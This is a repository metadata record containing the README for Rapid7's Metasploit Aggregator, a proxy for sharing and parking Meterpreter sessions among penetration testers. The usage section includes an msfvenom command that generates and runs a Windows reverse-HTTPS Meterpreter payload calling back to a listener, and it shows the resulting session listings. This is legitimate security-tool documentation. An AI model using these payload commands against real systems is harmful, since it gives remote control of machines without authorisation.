{"id":20445888,"url":"https://github.com/rapid7/metasploit-aggregator","last_synced_at":"2025-06-25T05:06:42.015Z","repository":{"id":66307141,"uuid":"75674138","full_name":"rapid7/metasploit-aggregator","owner":"rapid7","description":"Created by Jeffrey Martin via the GitHub Connector","archived":false,"fork":false,"pushed_at":"2025-02-13T14:50:14.000Z","size":133,"stargazers_count":48,"open_issues_count":4,"forks_count":11,"subscribers_count":59,"default_branch":"master","last_synced_at":"2025-04-13T00:44:35.231Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/rapid7.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2016-12-05T23:03:26.000Z","updated_at":"2025-04-12T06:39:51.000Z","dependencies_parsed_at":"2025-02-13T15:40:52.105Z","dependency_job_id":null,"html_url":"https://github.com/rapid7/metasploit-aggregator","commit_stats":null,"previous_names":[],"tags_count":7,"template":false,"template_full_name":null,"purl":"pkg:github/rapid7/metasploit-aggregator","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rapid7%2Fmetasploit-aggregator","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rapid7%2Fmetasploit-aggregator/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rapid7%2Fmetasploit-aggregator/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rapid7%2Fmetasploit-aggregator/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/rapid7","download_url":"https://codeload.github.com/rapid7/metasploit-aggregator/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rapid7%2Fmetasploit-aggregator/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":261808046,"owners_count":23212687,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-15T10:15:35.422Z","updated_at":"2025-06-25T05:06:41.989Z","avatar_url":"https://github.com/rapid7.png","language":"Ruby","funding_links":[],"categories":[],"sub_categories":[],"readme":"Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-aggregator.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-aggregator) [![Code Climate](https://img.shields.io/codeclimate/github/rapid7/metasploit-aggregator.svg)](https://codeclimate.com/github/rapid7/metasploit-aggregator)\n==\nThe Metasploit Aggregator is released under a BSD-style license. [See\nLICENSE](https://github.com/rapid7/metasploit-aggregator/blob/master/LICENSE) for more details.\n\nBug tracking and development information can be found at:\n https://github.com/rapid7/metasploit-aggregator\n\nNew bugs and feature requests should be directed to:\n  https://github.com/rapid7/metasploit-aggregator/issues/new\n\nQuestions and suggestions can be sent to:\n  https://groups.google.com/forum/#!forum/metasploit-hackers\n\n## Metasploit Aggregator\n\nThe Metasploit Aggregator is a proxy for Meterpreter sessions. Normally, Meterpreter sessions connect directly to a Metasploit listener. However, this has a few problems:\n\n 1. Multiple users cannot easily share the session once it is established, without some sort of external multiplexing scheme, such as running msfconsole in a screen session. While Metasploit Pro solves this issue to a certain extent, it is also limited by the number of users that can simultaneously  interact with shared sessions.\n\n 1. Running a full msfconsole on a remote listener is resource intensive because it uses multiple threads per connection. It has a hard time scaling reliably to thousands of sessions, and even fewer on Windows platforms.\n\n 1. The design requires either running different copies of msfconsole, or putting all of your eggs in one basket. It is difficult to distribute sessions across many endpoints and have a global view of them all.\n\nThe Metasploit Aggregator solves these problems by implementing an event-driven listener that stands between msfconsole and Meterpreter. It can scale to thousands of connections, but only needs to make a single connection with Metasploit Framework to manage them all.  Sessions can be shared between multiple users without any changes to the Meterpreter session\nItself, such as by modifying the session transport configuration. The redirection of a session occurs behind the scenes on the control channel between Metasploit Aggregator and msfconsole.\n\n## Glossary\n\nMetasploit Aggregator introduces a few new concepts.\n\n* A **‘parked’** session is one that is terminated entirely by Metasploit Aggregator. This means that the minimal interaction with the session to simply keep it alive is handled by the aggregator automatically. A user can attach to a session at any time in order to interact with it.\n\n* A **‘cable’** is a listening port that the aggregator opens to accept new connections from Meterpreter. This is analogous to starting a handler on msfconsole.\n\n* The **‘default forward’** address is the location of a msfconsole instance that serves as a helper for Metasploit Aggregator. Metasploit Aggregator currently does not know how to handle staged sessions, request session details, or how to deal with AutoRun scripts. The default forward is where a session connecting to a cable is redirected on initial connection. The connection is enumerated for details of the target and continues to communicates with the default forward until requested specifically by another console or parked by request of the default forward.\n\n* A **‘forwarded’** session is one that terminates at the aggregator, but is then proxied to a msfconsole instance. The session is forwarded over a control channel connection to the aggregator. When you are done interacting with a session, it can be moved back to a ‘parked’ state for other users to use. Note: any user can steal a session if desired and forward it to a different msfconsole instance.\n\n## Installing\n**Curently Unavailable due to issue #6** ~~Standalone installation: ```gem install metasploit-aggregator```.~~\n\nIntermediate solutions are available:  \n* Install Metasploit on the host used as the aggregator and start from path provided by install\n* Checkout source from git and install dependencies to execute in limited context:\n  * `cd \u003cPATH_TO_CHECKOUT\u003e/ruby`\n  * `bundle install`\n  * `./bin/metasploit-aggregator`\n\n## Usage\n\nTo use Metasploit Aggregator, first start an instance of the aggregator itself. This is automatically packaged with Metasploit Framework, or can be installed standalone by running `gem install metasploit-aggregator`. The aggregator binary is called `metasploit-aggregator`, and listens on address 127.0.0.1, port 2447. Because the aggregator does not provide encryption or authentication by itself, to connect to a remote instance, we suggest using SSH port forwarding or some other tunneling technology to reach a remote aggregator.\n\nOn the system hosting the aggregator:\n```\nmetasploit-framework$ metasploit-aggregator \n2017-03-06 13:17:32 -0600 Starting administration service on 127.0.0.1:2447\n```\n\nOn the client system:\n```\nssh user@aggregator -L 127.0.0.1:2447:127.0.0.1:2447\n```\n\nNext, start a msfconsole instance and load the aggregator plugin. This will allow you to interact with the remote aggregator. This is also required to setup the default forward msfconsole instance. Setup the msfconsole instance to be the default forward. This instance will see all connections when they first arrive.\n\n```none\nmetasploit-framework$ ./msfconsole \n                                                  \n  +-------------------------------------------------------+\n  |  METASPLOIT by Rapid7                                 |\n  +---------------------------+---------------------------+\n  |      __________________   |                           |\n  |  ==c(______(o(______(_()  | |\"\"\"\"\"\"\"\"\"\"\"\"|======[***  |\n  |             )=\\           | |  EXPLOIT   \\            |\n  |            // \\\\          | |_____________\\_______    |\n  |           //   \\\\         | |==[msf \u003e]============\\   |\n  |          //     \\\\        | |______________________\\  |\n  |         // RECON \\\\       | \\(@)(@)(@)(@)(@)(@)(@)/   |\n  |        //         \\\\      |  *********************    |\n  +---------------------------+---------------------------+\n  |      o O o                |        \\'\\/\\/\\/'/         |\n  |              o O          |         )======(          |\n  |                 o         |       .'  LOOT  '.        |\n  | |^^^^^^^^^^^^^^|l___      |      /    _||__   \\       |\n  | |    PAYLOAD     |\"\"\\___, |     /    (_||_     \\      |\n  | |________________|__|)__| |    |     __||_)     |     |\n  | |(@)(@)\"\"\"**|(@)(@)**|(@) |    \"       ||       \"     |\n  |  = = = = = = = = = = = =  |     '--------------'      |\n  +---------------------------+---------------------------+\n\n\n       =[ metasploit v4.14.1-dev-5383900                  ]\n+ -- --=[ 1627 exploits - 928 auxiliary - 282 post        ]\n+ -- --=[ 472 payloads - 39 encoders - 9 nops             ]\n+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]\n\nmsf \u003e load aggregator \n[*] Aggregator interaction has been enabled\n[*] Successfully loaded plugin: aggregator\nmsf \u003e aggregator_connect 127.0.0.1:2447\n[*] Connecting to Aggregator instance at 127.0.0.1:2447...\nmsf \u003e \n```\n\nStartup a new cable to begin listening for Meterpreter sessions from the aggregator. You can optionally specify an SSL certificate for it to serve over HTTPS as well. You can verify that the cable is listening with the `aggregator_cables` command. This will also start a new handler automatically on the default forward instance of msfconsole to handle new sessions as they arrive.\n\n```\nmsf \u003e aggregator_cable_add 192.168.1.10:8443\nmsf \u003e aggregator_default_forward \nmsf \u003e\n```\n\nNow, point a Meterpreter session at the cable address and port. You should see a new session on the default forward console. You can now park this session with the aggregator_session_park command.\n\n```\nC:\\metasploit-framework\u003e msfvenom -p windows/meterpreter_reverse_https LHOST=192.168.1.10 LPORT=8443 -f exe -o launch-stageless.exe\nC:\\metasploit-framework\u003e launch-stageless.exe\n```\n\nResulting session created:\n\n```\nmsf \u003e [*] Meterpreter session 1 opened (127.0.0.1:53414 -\u003e 127.0.0.1:53519) at 2017-03-06 13:46:23 -0600\n```\n\nTo view all available sessions, use the aggregator_sessions command:\n\n```\nmsf \u003e aggregator_sessions\n[*] Sessions found:\n[*] \t Remote ID: 1\n[*] \t      Type: meterpreter windows\n[*] \t      Info: DESKTOP-KAO0P3O\\user @ DESKTOP-NAME\n[*] \t    Tunnel: 192.168.1.10:8443 -\u003e 192.168.1.11:53528\n[*] \t       Via: exploit/multi/handler\n[*] \t      UUID: 8121940d2f5c4b1f/x86=1/windows=0/2016-12-15T22:03:16Z\n[*] \t MachineID: 1e2b16f37eab2324b9089cd93f16533b\n[*] \t   CheckIn: 3s ago\n[*] \tRegistered: Not Yet Implemented\n[*] \t   Forward: 50ab485d-dbe3-4045-95c4-c9abd45c1683\n[*] \tSession ID: 1\n[*] \n```\n\nTo forward an available session to your console, use the aggregator_session_forward command:\n\n```\nmsf \u003e aggregator_sessions\n[*] Sessions found:\n[*] \t Remote ID: 1\n[*] \t      Type: meterpreter windows\n[*] \t      Info: DESKTOP-KAO0P3O\\user @ DESKTOP-NAME\n[*] \t    Tunnel: 192.168.1.10:8443 -\u003e 192.168.1.11:53528\n[*] \t       Via: exploit/multi/handler\n[*] \t      UUID: 8121940d2f5c4b1f/x86=1/windows=0/2016-12-15T22:03:16Z\n[*] \t MachineID: 1e2b16f37eab2324b9089cd93f16533b\n[*] \t   CheckIn: 6s ago\n[*] \tRegistered: Not Yet Implemented\n[*] \t   Forward: parked\n[*] \nmsf \u003e aggregator_session_forward 1\nmsf \u003e [*] Meterpreter session 2 opened (127.0.0.1:53414 -\u003e 127.0.0.1:54066) at 2017-03-06 13:50:51 -0600\n```\n\nFinally, to disconnect from the aggregator, use the aggregator_disconnect command:\n\n```\nmsf \u003e aggregator_disconnect \n[*] 127.0.0.1 - Meterpreter session 2 closed.\nmsf \u003e \n```\n\nDuring disconnect, the console will park any sessions explicitly requested by the user.  If the console is registered as the “default forward” any sessions that have not been specifically requested will park, however the next console that registers as the default forward will be passed these passively parked sessions.\n\n## Contributing\n[Contributing](https://github.com/rapid7/metasploit-aggregator/blob/master/CONTRIBUTING.md).\n\nExpanding protobuf service use\n```grpc_tools_ruby_protoc -I ../protos --ruby_out=lib --grpc_out=lib ../protos/metasploit/aggregator/*```\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frapid7%2Fmetasploit-aggregator","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Frapid7%2Fmetasploit-aggregator","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frapid7%2Fmetasploit-aggregator/lists"}